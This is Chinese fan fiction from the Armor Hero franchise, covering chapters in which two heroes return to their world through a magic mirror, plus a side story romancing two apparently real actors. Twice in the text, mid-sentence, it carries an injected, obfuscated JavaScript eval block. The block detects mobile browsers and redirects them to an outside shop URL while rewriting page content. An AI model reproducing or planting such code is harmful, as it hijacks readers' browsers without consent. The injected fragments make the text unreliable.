“我本来的计划、就是让张超联系柏栩栩,说不定能通过柏栩栩找到你。但是……”西钊停顿片刻,北淼在这几秒的沉默里垂下双眸,正好瞄到西钊的眼睫微微颤动,似是眨了眨眼,“不去打扰柏栩栩是张超的建议。他说,不同于身为演员、在某些场合可以调整行程的他,柏栩栩工作稳定,同时也需要照顾家庭,他不想让柏栩栩在看似荒谬的事情上分出时间。其次,他作为演员,有一定影响力,也拥有更多资源,所以他说,只要让我提供可以提供的信息,剩下的他会交给他的团队处理。有任何线索他都会联系我。” 北淼歪过脑袋,和西钊头碰头,牵起他的一只手与自己十指相扣,接着又举在面前,端详着上面的白色雪獒对戒,忽然有些好奇:“你说,有没有可能,‘夏令营效应’指的是他和柏栩栩?” “你的意思是……他们曾经也有过一段和我们一样的关系?”西钊回忆起张超谈及柏栩栩时,并非因为两人分离多年而情绪低落。当时西钊谈论的话题,其实是“北淼和西钊确定关系”这件事。难道…… “不一定。也许只是朋友以上的关系。你没看那个APP里关于他们两个的话题标签?叫什么、#柏元大超#,跟人民币似的。”北淼在心里耸了耸肩。 他在翻#北西#的时候看过一些衍生出的真人二创作品,他们管那个叫RPS(Real Person Slash)。不过里面的作品很少,而且要么不完整、要么完全恶搞、要么和“爱琴海”一样,没一篇是好结局。他当时就挺好奇,能在标签里有这种效果,这两个人如果不是关系特别差,就是关系曾经好得过头、结果如今——想起张超和柏栩栩的现状,北淼明白了什么。 一篇#柏元大超#的文章中,如此写道: “他们走上各自的道路,谁都没有回头。电视台的新闻主持人时不时自侃‘烂橘子’、变身‘黑犀侠’,电视剧中的角色时不时搞怪地高喊‘雪獒铠甲’。他们演绎的一切都是那样熟悉,但他们之间却渐行渐远、愈发陌生。那个小他八岁的男孩已经长大,不会再为一个人的离开哭得梨花带雨。然而,每每想起,次次回忆,他永远在笑着讲述那段仿佛从未结束的‘夏令营’。” 当时,北淼不再关注这个标签的原因,很大一部分是其中的剧情和“爱琴海”写的一样,现实得令人胃痛。 听闻北淼刚刚的猜测,西钊微微点头,深棕色的头发蹭得北淼的脖子有点痒:“看过一两篇。但我们不了解真实情况,还是不要妄下结论。” “也不算妄下结论吧?”北淼松开与之相扣的手,又开始把玩西钊戴在左手无名指上的黑犀对戒,“你不觉得、没发生任何矛盾,仅仅只是被时间冲淡的友谊,很可惜吗?这是个很简单的道理。只是他们喜欢把这种变淡的感情夸张化,让它看起来非常悲情。” 北淼还没说完,他就感觉到西钊的脑袋离开了他的肩膀,原本被捂得暖和的侧颈即刻迎来一阵让他有些失落的凉意。只见西钊侧过脸皱着眉,朝他投来一个困惑的目光。不知道是不是他微笑唇的体质,北淼莫名有一种他的嘴角在无语抽搐的错觉,仿佛在说“你要不要听听自己在说什么”。 “北淼,你知道我什么时候才有‘朋友’。你说的这些,我暂时体会不到。”西钊自嘲苦笑。 完蛋。 北淼低下头、抬手扶着前额。他真是个专业的排雷兵,一踩一个准。 “……抱歉。” 这时候唯一能保命的做法大概只有及时道歉。而北淼一如既往地不适应这样的场景,于是他像只在瓷砖漂移手脚各跑各而滑倒的猫,假装很忙来掩饰尴尬,迅速转移话题:“说起来,呃。张超那边调查了这么久,别说找没找到我,难道回去的方法也毫无头绪吗?” 北淼没有得到西钊的回复,手遮挡视线也不敢抬头望西钊那边看,但他听到西钊好像发出了一声轻笑——放在以前,他只当这是普通的愉悦表现,但现在,来自战士的直觉告诉他事情并不简单。西钊这个人每次都会在北淼觉得他很“单纯”的时候给北淼一个超级大惊吓。 嗯,是惊吓。 此时,北淼感觉到西钊翻了个身,整个人就这么跨坐在北淼身上,怀里还抱着北淼之前塞给他的衣服裤子,正好挡在他们中间。被子早就被西钊的大幅动作掀起来滑到北淼大腿那儿去了。那团皱巴巴的长袖和牛仔裤在这两个身上衣服加起来不超过两件的人看来实在过于欲盖弥彰。 更要命的是,哪怕西钊再瘦,他也有正常成年人的体重,就这么直接坐上来对北淼来说还是有些太超过了。一定要形象地比喻,北淼现在的心情大概就是:钥匙怎么也碰不到钥匙孔、结果手一抖擦着它的边缘就让整个钥匙串都掉在地上的那种手忙脚乱吧。 等北淼放下手,看向面前摆着那副“得逞”表情的西钊,心里不愿承认被他摆了一道,嘴里却诚实地咽了口唾沫。西钊也不管北淼什么反应,只是漫不经心地调整姿势,甚至无意间动了动腰。这一举动成功让北淼仿佛在竞技游戏里被打出硬直,完全动弹不得。 “北淼,你刚刚问我什么?” “我……呃。” 别人家男朋友犯错都是跪搓衣板,他惹自家男朋友不高兴的下场是对方跪上来然后让他“望梅止渴”。事实证明,这只会让他更“渴”。上回西钊这么挑衅他,他一冲动破了“说停即止”的规矩,结果西钊跟他分房睡了整整一周。 这个混蛋、是真不怕重蹈覆辙啊。那回他可是仗着铠甲召唤人的体力一直做到西钊晕过去的……不对,要是相同的事再发生一遍,不还是让他跟西钊分房吗?这人真就是故意的。 “……你先下来。” 北淼决定闭眼不看,深吸一口气。也许是有些焦躁,他觉得脸在发热。 西钊压根没理他,只是往前挪了挪,与北淼贴得更近,不紧不慢说道:“要说线索,确实有一条,但不太可信。来自张超工作室里、一个同事的朋友。” 在黑暗里察觉到西钊的气息越来越近,北淼整个后背都贴上了床头,他穿黑犀铠甲战斗的时候都没有过现在这样的压迫感。到底是谁说西钊温柔的?? 北淼还是没忍住睁开眼睛,西钊放大的脸带着笑意出现在他面前。 令他意外的是,这次西钊没有多余的互动,也不再继续挑逗,只是接着刚刚的话说道:“他说,他在郊区一家古董店听老板提起,仓库里有面可以到达其他世界的镜子。但没有人知道使用方法、也没有人成功过,所以没人相信这一说法。而这面镜子的装饰并不美观,没有人买下它,最终被老板放在仓库。” 北淼努力地让自己的注意力集中在这个毫无根据、天马行空的“线索”上,试图摆出一副一本正经的模样:“如果不是我们有‘前车之鉴’,换做是我,也不会相信这种说法。张超呢?他怎么看?” “他——” 西钊话音未落,床头柜上的手机传来熟悉的视频通话邀请。他准备伸手去拿,结果北淼像是要扳回一局似的抢先一步。屏幕上的联系人赫然显示着“张超”。 北淼挑了挑眉,瞥一眼已经认输但同样好奇电话那头是谁的西钊,调整角度,将衬衣扣子扣上,点击接听。 “你好,张超是吗?久仰大名。” “……” 看见镜头面前是只穿了件衬衫的北淼,以及从衬衫领口隐约露出的痕迹,张超显然有些吃惊。他一时失语,盯着北淼的脸看了好一会儿才犹豫开口:“你好,我是张超。那个、我……是不是打扰到你们了?” “当然没有,张超,不用理他。北淼,把手机给我!”西钊在镜头外不满地说道。 局势一秒转变,熟悉的场景再度出现。北淼高举手机,而西钊伸手去抢。 张超在晃动的镜头里时不时能看到混乱的床和房间,还有闹在一起的两人,眨眼的某个瞬间,仿佛旧日重现。他心里泛起一阵苦闷,脸上却是打趣般的哭笑不得:“好了好了你们两个,别闹了。上次跟西钊说的,关于古董镜子的事,工作室那边有新的消息。” 这句话很有效,西钊和北淼闻言立即停下无厘头的闹剧,西钊也趁这时把那条黑色长袖迅速套在了身上。他们都没说话,盖着被子并排挤在床头,让小小的摄像头装下他们两人的脸,安静地等张超的后话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334682|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “古董店新来的实习生给仓库囤积的货物都做了清洁。在擦除表面的泥土和灰尘之后,他发现那面镜子上用拉丁文写了一行字。你们看这个。” 张超在架好的镜头里拿出打印的照片,伸手指着那面一人宽的镜子顶端、被红色记号笔圈起来打了箭头的地方。或许是原文过于晦涩难懂,这句话经由翻译之后,被拆分成几个散乱但通俗的词组: 界外之物司南 联系之物通道 情感之力时间 北淼和西钊还没发表什么看法,张超的视线朝镜头右上角瞥了一眼,很快接着说道:“不用担心,全身镜我已经托人买下了,这两天就会送到。这边的戏也准备杀青,到时候我调整一下后面几天的行程,过你们那边去,这样做什么也都方便些。这段时间,你们就研究一下这几个词是什么意思吧。” “谢谢,麻烦你了。”北淼收敛许多,不再恶作剧,朝镜头里放下照片的张超礼貌致谢。 “别客气,如果你们一直待在这里走不了的话,对我和他来说也是个不小的麻烦啊。”张超咧嘴笑着调侃,伸手拿起一直架着的手机,看上去似乎要出门,“组里还有些收尾工作,就不打扰你们了。我会私联你们飞机落地时间。” 两人齐声一句“好”,短暂地告别之后便挂断了电话。 北淼将手机锁屏,放回原位。一低头,西钊已经歪过身子倒在他大腿上、看着天花板思考起方才的字谜了:“北淼,你觉得、那上面写的三组词,是镜子的使用方法吗?” ……是不是使用方法我不知道,但你好歹先把裤子穿上啊。 北淼无声地叹息,扯了扯被子把身上人裹了个严实:“用最直接的理解来看,‘司南’指的是‘方向’,那么第一句话意思会不会是‘用界外之物来确定方向’?” “但是、这个‘界外之物’,指的是什么?”擅长以简单粗暴的方式解读语义的西钊眉头微微一皱,“总不能是‘世界之外的物品’吧。” “对。这样能说得通。”北淼恍然大悟一般低头与西钊对视,“既然要到另一个世界去,就得有一个方向。那么,就需要不属于这个世界、而是属于目标世界的东西,类似于、你开车导航需要输入目的地。” “北淼,我不会开车……” “……” 西钊脸上的“不满”没到5秒钟就破功了。他低声笑起来,抬手托着北淼的侧脸轻抚他的脸颊:“开个玩笑。我觉得你说的对。” 北淼冷冷地哼一声,刚冒的火就被西钊这么一摸给哄好了。他握住西钊的手,在那温暖的掌心留下亲吻。而西钊只是神色温和地望着北淼,并没有抽回手,他们就这样保持这个姿势,谁都不想放开谁。 半晌,西钊的脑袋微微偏过一侧,思索道:“那要是、按这个思路,‘通道’的意思就是‘开启通道’,而它需要‘联系之物’才能开启。如果按‘与另一个世界的联系’来理解,就和‘界外之物’重复了。” “……有没有可能,它指的不是‘世界’间的联系?”北淼无意识地把西钊的手捂在自己手里,眯了眯眼,“如果是具体到那个世界的人和事,就可以做出区分了。” “也就是说,我们还需要‘与那个世界的某人构成联系的某物’,来打开通往那个世界的‘通道’。”西钊贴心地帮思绪已经飘走的北淼总结刚刚的话。 “嗯。”北淼眉头紧锁,低声喃喃,“最后,这个‘情感之力’……” 西钊望着北淼沉思的模样,觉得北淼握住自己手的力气越来越大,就像是陷入了某种瓶颈。面对手腕上忽大忽小的力道,西钊突然有了灵感,直接盘腿坐起来,脑袋差点和北淼撞到一起。 “北淼,我知道了。”也没管被吓懵的北淼,西钊自顾自地继续说,“力气可大可小,时间可长可短。所以,如果这样理解这个‘情感之力’,再把两者结合起来——” “情感之力的大小决定通道开启时间的长短。”两人异口同声。 不过,北淼接着又想到了另一个问题:“那,这个‘情感之力’到底是什么?” 西钊反倒觉得这个问题很好理解,他翻身下床,开始找自己的衣服:“既然、用于开启通道的物品是关于人们与世界的联系之物,那么,‘情感之力’,自然是代表这件物品里包含的记忆和情感。” “有道理。”北淼随口应了一声,伸手圈着西钊的腰就把人捞回床上。 西钊猝不及防地摔在北淼怀里,差点没反手一拳过去:“?北淼,你干吗?” “嗯,干。” “???” 这说的是人话吗? 他怎么不知道北淼还会说脏话? 而这时,北淼的手已经贴着西钊的腰伸进黑色的长袖底下,准备一口气把它脱下来:“你挑起来的,自己负责。怪不得我。” “……” 为什么这里没有ERP的卫星传送装置,这样就可以把张超直接传送过来,而不用像现在这样,被某个人压着脱掉穿上还没超过半小时的衣服。 西钊抬手勾住北淼的脖颈,无奈又好笑地想着。 TBC 55. 归乡 “也就是说,你们需要来自你们世界的东西,以及和那个世界的人有联系的物品,才能开启回去的道路。”张超和西钊合力在客厅内扶好工人搬上来的全身镜,转头看向一旁摸着下巴沉思的北淼。 北淼点点头,从口袋中拿出从未离身的黑犀铠甲召唤器:“对。我和西钊讨论过,那两个物品分别是什么。我想先用黑犀召唤器试试看,能不能作为‘司南’使用。” 张超和西钊在北淼靠近全身镜时默契地后退,为北淼留出位置。北淼望着镜中的自己,慢慢抬手将黑犀召唤器贴在镜面上。 刚开始的几秒内并无异常,然而随后,北淼的手中似乎感觉到一股支撑召唤器的力量。他试探性地松手、缓步后退,果不其然,召唤器违背重力、仿佛被牢牢吸附在镜面。 下一秒,以黑犀召唤器为中心,一条狭长的黑色裂缝在镜面竖向延展,犹如不断扩张的黑洞、又好似晕染在宣纸上的墨痕,直至覆盖整个镜面,将那片阻隔世界壁垒的“玻璃”吞噬,使其变得透明。而透过镜面,他们隐约能够看见,在镜子之中有成百上千条四通八达的“路”,但它们都没有终点。 召唤器化作一抹光点悬浮在半空,接着向镜中看不到尽头的黑暗远方弯弯绕绕射出一道苍白的辉光,好似射手座搭在弓上为世人指引方向的那颗启明星,为他们避开了所有会坠入深渊的悬崖峭壁。 没有人因为这一幕激动地大喊“成功了”,他们无一不为这科学无法解释的神秘力量感到震惊。 于是他们也明白,为何到目前为止都没有人“成功”使用过它。因为正常情况下,这个世界里不会有“外来者”,第一步的“司南”就无从下手。连方向都找不到,又何谈行走在时空夹缝之中? “目前看来,一切顺利。”张超微微笑着松了口气,“接下来是‘联系之物’,你们准备好了吗?” 北淼和西钊二人转头给对方一个眼神,同时点点头,摘下无名指上的对戒。他们拿着戒指将手举在召唤器化成的光点两侧,北淼转头对张超解释道:“我和他都来自另一个世界,那么我们之间互相联系的物品,应该也算在这个‘规则’之中。至于其中的‘情感之力’……” 北淼骄傲地哼笑一声,没有把话说完。 似乎是感应到了两人的“联系之物”,镜中光点忽地变得更加明亮,他们几乎要眯起眼才能看清面前的景象。 那道透明的壁障顷刻间破碎,碎片变为闪耀的光尘挥散在他们与镜中无穷的宇宙之间。一股莫名的引力带起阵阵风浪,吹起他们的衣摆和碎发,仿佛要将他们吸入镜中。 北淼和西钊手中的戒指消失、幻化成一圈手掌宽的巨大光环,不断变换倾斜角度、各自围绕在他们周身。西钊光圈的是雪獒熟悉的苍白,而北淼的光圈呈代表黑犀的青绿。 张超递给西钊一个早已准备好的小提包——不大,但很沉。面对西钊的困惑,张超伸手拍了拍他的肩膀:“临别礼物,也许会对你们有帮助。回去再看,可别破坏了惊喜哦。” “……谢谢。我们没有什么可以留给你的。”西钊下意识开始用另一只手摸摸身上的口袋,但他们从一开始就没带着什么过来,本来也没打算带什么走。 张超摇摇头,随意摆了摆手:“怎么没有?‘爱琴海’的文章我之后会一篇篇拜读的。” “你、你知道……?”比起难为情,西钊更多地是难以置信。北淼都没看出来他的真实身份,张超是怎么发现的?不对,张超本人去看这些才更奇怪吧? 在一旁幸灾乐祸、努力压住上扬嘴角的北淼环抱双臂,好是得意:“我告诉他的。他跟你一样,除了演戏和搞音乐,脑子里就没别的东西。我只是告诉他、该下哪个APP,该搜索哪个标签而已。” 西钊本想和北淼争辩什么,但介于张超在场,他也不好多说。他转头对张超礼貌一笑:“那不做数。我们来合张影吧。” “通道开启的时间有限,我怕……” “别小看我们之间的‘情感之力’啊,张超。”北淼说这句话的时候已经拽着西钊往张超的方向走,两个人默契地一人一边,把张超夹在中间,“来来来,别愣着啊,利索点。手机呢?” 张超才把手机拿出来,就被北淼熟练地拿了过去,点开拍照、打开前置,把胳膊伸得老远,调整他们三个人的拍摄角度。镜头里,西钊带着些许拘谨的微笑,而北淼则大大方方搭上张超的肩膀。受到他们的感染,张超也不再拘束。他展开笑容,仿佛回到十几年前他们拍摄剧照,双手揽过北淼和西钊的脖颈,比了两个剪刀手。 快门按下的那一刻,定格的不止时间,还有他们曾短暂交错的时空。 “好啦好啦,再不走,通道可真的要关闭了。”张超拍拍两人的肩膀,将他们往全身镜的方向推。 “我们不会忘记你给我们带来的一切。” “记得替我向那个叫柏栩栩的家伙问好。” 北淼拉着西钊的手,往镜中踏入一步。风浪变得更大、引力变得更强、光圈的亮度也变得更大,照亮了他们脚下破碎的宇宙之路。召唤器指引的光依旧在前方,看不到出口,却能感觉到温暖的希望。 这便是最后的告别时刻了。 他们不约而同地看向身后的张超。没有真情流露的告别,也没有任何肢体语言,他们三人仅仅只是这样看着对方。镜子将他们分割成了两个世界。一边是过去的遐想,一边是现实的未来。他们如此相似,却又如此不同。 张超那个世界的光影在他们三人无言的对视里慢慢消失,黑色的裂痕逐渐闭合,张超面前的全身镜又恢复如初。 —— ERP指挥室,北淼二人回归数月后。 由于北淼再一次遗失召唤器,哪怕理由正当,美真也没有马上给他做新的,而是把雪獒铠甲的召唤器给了西钊,并附上一句“现在看来,西钊比你更靠谱”。北淼睁大眼指着美真“你”了半天,最终被西钊一边哄一边拽到角落晾着冷静冷静。 西钊没有陪在北淼身边多久,就又被桌前坐着、聚精会神紧盯手里横版游戏机的坤中叫了过去,期间还顺便躲过东杉不知道第几次对于夺走他手机的尝试。暗暗心疼了一下因为刚刚的举动被美真拉走的东杉,西钊在坤中旁边坐下,耐心地给他讲解游戏机里那款游戏的玩法。 这次从“未来”带回的“战利品”不少。除了张超的包裹之外,他们其实把智能手机也带了回来。手机虽然可以像联系到钟国光那样时不时能和“未来”通话,而且连之前那个APP也能继续看。但信号总是断断续续,网络也经常中断。他们没办法再次登录账号、发布作品,只能以“游客身份”浏览。 他们本以为手机会因为这里没有适配的充电线和电源无法使用,但张超那个沉甸甸包裹里的东西意外地解决了这个问题。 包里装着一碟张超的专辑,还有两个纸盒,像是横版游戏机,上面写着“SWITCH”。 拆开纸盒之后,他们发现,那确实是一款看上去非常先进的游戏机。还附赠了一个塑料小盒子,放着一些“卡带”,北淼判断,应该是插入卡带就可以玩对应的游戏。巧合的是,配套的充电器正好适配他们的智能手机。 他们都不是对游戏特别感兴趣的人,只是偶尔闲下来时,会一起靠坐在床头探索探索海拉鲁大陆、或者推推空洞骑士世界的地图,作为睡前助眠。 不过,西钊把这件事告诉坤中之后,坤中就对这台来自未来的游戏机念念不忘。等他终于放暑假回D市和大家相聚,第一时间就缠着西钊让他教自己怎么玩。 而另一方面,美真听说西钊和北淼的手机上能看到其他人写她和东杉之间的故事,便也来了兴致。知道北淼不好攻破,于是她转战西钊,试图让他满足自己的好奇心。 西钊其实觉得这没什么,一开始并没有拒绝,但谁让东杉每次都在他想把手机给美真的时候过来阻止。如果不是智能手机和他们的设备不互通,美真早就黑进去看了。不过比起文章本身,她更喜欢每次提到这件事时东杉的反应。 于是现在,指挥室里一片“岁月静好”。 坤中拿着SWITCH在海拉鲁大陆好奇地到处解密。西钊一边给坤中传授经验,一边眼睛也不抬地伸手给美真手机,还要挪动椅子躲着跟美真“抢”手机的东杉。这两位当事人则为这件事一个如临大敌、一个乐此不疲。 而北淼?北淼靠着指挥室的墙环抱双臂站在一边脸色十分难看。美真不给他召唤器不说,还把召唤器给了西钊,说他“靠不住”。这些他忍忍就过去了,他一般不和女孩子计较什么,但一群人围着西钊而他只能坐冷板凳甚至连话都插不上,让他觉得很烦躁。 刚从训练室自我调节结束、在一旁拿着琴谱微微点头晃脑的炘南倒是不受他们的影响,一副怡然自得的模样跟北淼排排站。 似乎是感觉到身边的超低气压,炘南睁开眼看向北淼,缓缓说道:“他已经脱离影界,很好地融入了我们、融入了人类社会。你应该为他感到高兴才是。” 北淼没理他,目光还放在西钊身上,但手却伸到一边抽走了炘南手里的琴谱:“走,去虚拟战斗室跟我打一架。谁输了,就为今晚的聚餐买单。” “北淼,你知道我们不能对自己人挥拳。”炘南也不着急拿回他的谱子,只是对北淼以战斗发泄情绪的方式显得有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334683|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些无奈。 “合着你和帝皇老爷子的‘训练’也叫‘对自己人挥拳’?不懂什么叫‘切磋’吗?”北淼没好气地解释,将炘南的琴谱扔在空椅子上,人已经插着口袋走到门前,朝炘南歪了歪脑袋,“难不成你太久没活动,身手已经不行了?” 炘南笑了笑,摇摇头:“激将法对我没用,北淼。但如果你坚持,并且不为无谓的荣誉、也不损害大家的利益,那么我自然没有拒绝的理由。” 等西钊终于能歇下来时,转头一看,却发现身后本该站着的两人都不见了。炘南也许有什么事会悄无声息先撤退,但北淼肯定不会一声不吭地就离开,至少在他面前不会。 “……北淼和炘南呢?” 西钊此话一出,大家都不约而同地停下手里的事,往门口的方向看。美真习惯性地在主控台操作一番,果然发现了端倪。 “他们在虚拟战斗室……对练?”美真看着两人在各自的训练室认真打斗的模样,有些不确定。 坤中有些担心那两个一直“水火不容”的家伙再度发生矛盾,连手里的游戏机都放下了,拍了拍身边西钊的手臂:“西钊,你说他们不会又因为什么事打起来吧?刚刚我瞄到北淼的脸色很不好看啊……!” “如果真是这样的话,他们不会在这里、更不可能在虚拟战斗室解决。”东杉分析道,“可能只是比较无聊吧。毕竟我们还要等小嵩和敏慈的飞机。算起来还有一段时间。” 西钊点点头,赞同东杉的说法:“是啊,冰儿的舞蹈课也还有一个小时结束,到时北淼肯定会亲自去接她过来的。” “那就好那就好。”坤中松口气,重新打开游戏机操控角色勇闯海拉鲁城堡,“所以,今晚我们去哪里吃啊?蕙姨不是说有事情不能营业吗?那……是不是可以让西钊兄说服北淼请客了?我还没去过那种高级餐厅吃饭呢!” 美真一句“你就知道占人家西钊便宜”还没说出口,西钊就微笑应道:“好啊。” “不好。”是北淼阴沉沉的幽怨声音。 众人循声望去,通往训练室的门已经打开,炘南和北淼拿着各自的毛巾出现。炘南一边擦汗一边拿起椅子上的琴谱顺便坐下来休息,而北淼则心情不佳地瞥一眼西钊,随即就“一声不吭”地往门外走。 “北、北淼?” 西钊一下子没反应过来北淼这是怎么了,但直觉告诉他现在应该追过去。 他离开指挥室,在门外抓住北淼的手臂。结果他什么话都没来得及说,北淼就反过来抓住他的手、把他按在墙上用力地亲吻。结合刚刚的情况,西钊大致猜到应该是北淼和炘南的对练输了,正拿他泄泄火呢。 “我以为我不会在意你身边围着太多人。” ……好吧,他猜错了。 两人轻喘着稍作休息的间隙,北淼低声道:“即使我没资格这么说,但我还是、很嫉妒。” 西钊哭笑不得地蹭蹭北淼的鼻尖:“因为他们‘抢’走了本该属于你的、我的时间?” 北淼扯下西钊的高领,在他颈侧轻咬。他的声音很闷,像闹脾气的孩子不愿承认事实:“……嗯。” “还记得吗,北淼?”西钊放轻声音,抬手抚上北淼的后颈,“我曾说过,我身上所有的一切,全都是你给我的。除此之外,我什么都没有。我的生命、我的时间,自然都属于你。‘别为几秒钟的不愉快毁了一整天’,这还是坤中……嘶——” “我要禁止你在这种时候提别人的名字,谁的都不行。”北淼报复般的用力咬了一口。 就在这时,他们旁边的门突然打开,坤中兴奋地挥了挥手里的游戏机准备离开:“好,放心交给我吧!我要订最贵的……啊。” 走道里,北淼还保持着按住西钊的手把他推在墙上的姿势,西钊的衣领翻开、上面的一圈淡红色牙印清晰可见。 东杉和美真本在讨论什么,看到这一幕也双双愣住,而让坤中先去餐厅预定位置的炘南只是转头望了望那副微妙的场景,又扭回头专注于他的曲子上,好像对这样的事已经司空见惯。 “……” 反应过来的西钊一胳膊肘把北淼推开,尴尬又无措地对坤中摆摆手说“对不起”,接着拉上北淼的手就往出口快步竞走。 “西钊,等——”坤中话音未落,两个人已经消失在转角。 ———— “我要禁止你在公共场合举止亲密!” “为什么啊???!” “要么你答应,要么我取消戒指的预定。” “……”北淼无奈投降,“是……” 于是,他们之间便多了一项“家规”。 FIN 56. 白首如新,倾盖如故[番外] ※柏元大超专场。 ※触雷请退避。 ———— 张超那个世界的光影在他们三人无言的对视里慢慢消失,黑色的裂痕逐渐闭合,张超面前的全身镜又恢复如初。 周围一片寂静。屋子里不乱、也不算整齐,和他朋友搬出去那时没什么区别,白白也不知道躲到了哪里去。好似发生了很多事,又好像什么都没有发生;犹如一场空梦,他一如既往地醒来,什么都没改变。 张超抬起右手,轻抚镜面,在无人的公寓里与镜中的自己对视许久。 时光冉冉,那个在舞台上曾走过调、破过音、被导师说唱得最糟糕、表现得一塌糊涂的青年,经历多年的学习、摸索和沉淀,终于真正蜕变成闪耀的“蝴蝶”。他对现在的自己很满意,也会一直、一直朝着这个方向发展下去。为了演员梦、音乐梦,他不会停止脚步。 只是,西钊和北淼的到来,就如同记忆里下了一场大雨,迫使他在一个站台前驻足停留。他本就不适应快节奏的生活,这一停,便让他情不自禁地透过他们,回望那年的点滴。而张超望着望着,发现来自过去的“远方”隐约闪烁着一点光亮。 当他在脑海中仔细回想、慢慢靠近那点星光,他发现,那是自己深埋起来的宝藏,被西钊和北淼这场“雨”,猝不及防地给翻了出来。 原来那年,他也是有遗憾的。 他的遗憾不是那个人,而是…… 就在张超脑海里渐渐浮现某个人的影子时,他右手无名指上的戒指忽地亮起暗灰色的光,全身镜发出低声的嗡鸣,一条细长而狭窄、只够一人侧身挤入的裂缝将镜面“劈开”——通道,再次被开启。 “怎、怎么回事……” 与之前不同,手中的戒指虽然消失,但并没有变成“保护”在张超身边的圆环,而是横在不稳定的裂缝中间,像是忽强忽弱的支撑。 通过那道裂缝,张超也没有看到深邃得能把他吞噬的黑暗与深渊,而是一间高级酒店的客房内。紧接着出现的两个人,让他不敢相信自己的眼睛和耳朵。 “张超”和柏栩栩来回在房间中走动。柏栩栩似乎在帮“张超”收拾行李,嘴上还一遍遍念叨张超以后独立了要注意什么,平时要怎么照顾自己之类的话。“张超”没怎么回应,收拾的动作都很慢,看起来十分低落而不舍。 张超半张的嘴唇动了动,欲言又止。 他想起来了。这是他们拍完戏,他离开这里的最后一天晚上。柏栩栩第二天没办法亲自去机场送他,于是提前一天来帮他收拾行李。 其实后来他们还有联系,偶尔在社交软件上互动、闲聊、营业。但是到后来,柏栩栩结婚,他出专辑、专注于演艺事业和音乐,他们几乎没有再说过话,甚至没有见过几面。张超偶尔会在电视上看到柏栩栩,只不过,他想,柏栩栩也许不会在意他出现在哪部电视剧和电影里。 他们毋庸置疑还是最好的兄弟。然而,能够治愈一切的时间也拥有冲淡一切的力量。但它只淡化了连接他们的桥梁,却没能冲淡张超心中的那份情感。那是埋藏在深海中的混沌泥沙,每一次涨潮、退潮,都会在心中的角落一点点积攒,直到堆起一座无人的沙堡,留他自己孤单地守望。 张超不是一开始就知道自己对柏栩栩的感情跨越了朋友和兄弟。那是一种无医可治、无药可医的心痛,他只知道症状、却找不到病因。而让他幡然醒悟的,竟然是几年后自己专辑里的歌。 当他拨动琴弦、低声跟谱清唱,脑海中闪过的,是柏栩栩的影子。他终于明白,原来那种心痛,叫“喜欢”,也叫“遗憾”。可他们已分道扬镳,属于他们的“夏天”早已结束。他无法回到过去,无法弥补没能完成的愿望。 其实张超不在意柏栩栩怎么想,因为他的目的从来不是“有情人终成眷属”。他的遗憾从来不是“柏栩栩”这个人,而是“未能及时说出口的感情”。 这十几年来他不止一次想过,如果在他们分别之前再给他一次机会,他一定要勇敢地说出这一切。无论柏栩栩给出怎样的回应、他们的关系会有怎样的结局,他都认。 如果、再给他一次机会…… 裂缝中的时空,柏栩栩收拾好最后一箱行李,和“张超”坐在床边闲聊了一会儿,现在已经拿上外套,准备离开。 别走! 那不是他们的最后一面。张超却比谁都要清楚,这一别,他们……“他们”,就没有任何可能了。这种强烈的愿望让张超不由自主地朝裂缝中的世界伸出手,而在那瞬间,他被一片光芒吞噬。 ———— “……嗯,我会的。明天记得带好东西,别像之前一样丢三落四还要我给你找。” 张超睁开眼,发现自己在刚刚看到的酒店房间里。镜子形成的裂缝就在墙上,柏栩栩好像看不到它似的站在旁边往门口走。张超只听清了柏栩栩的后半句话,并没有他们之前聊天的记忆。他们说了什么?不,现在不是想这些的时候。 “哥,等等!”张超迅速起身,在柏栩栩的手碰到门把之前拉住了他。时隔多年面对实际年龄比自己小的人叫出那一声“哥”,让张超心里顿时五味杂陈。 虽然他曾想象过无数次,如果一切重来,在这一刻他会如何勇敢地走出那一步。但真正面对柏栩栩,他的心智仿佛又回到了十几二十的年纪:涨红的脸、哽住的喉咙、无法松开的手、收不回的视线。 他说不出口。他真的说不出口。 “还有什么事吗?” 那是张超再熟悉不过的、低沉温和的声音。不知为何,他忽然记起更久更久以前,柏栩栩被淘汰时,他心中的那份不舍。他们无可避免地分开,他却只能沉默告别。此时与彼时重叠,情感在这份无言的对视里不受控制地倾泻而出。 “……超?” 什么?他怎么了? 柏栩栩转过身,双手捧着他的脸——就像被淘汰那时一样——拇指在他眼角轻轻蹭了蹭。这时张超才意识到,他哭了。如果放在以前,他或许会觉得忙乱、难为情,但如今他只是默默站在原地移开目光,逃避柏栩栩关切的视线。 柏栩栩还在为张超擦拭眼泪,张超却注意到墙上的裂缝愈发不稳定,作为支撑的圆环也渐渐变得黯淡。他的时间不多,张超想,可是为什么,为什么他不能像西钊和北淼一样,永远留下?脑海中闪过北淼那一句“至于我们的‘情感之力’”,张超忽然明白了一切。 与北淼和西钊不同,他的那枚戒指,本就属于这个世界,但不属于这个“时间”。那是他之前和柏栩栩的同款戒指,他们还戴着它走过红毯。因此,当戒指与镜面触碰,张超并没有来到“另一个世界”,而是响应他心中最强烈的愿望,回到了那个“时间点”。这枚戒指,既是“司南”,也是“通道”。 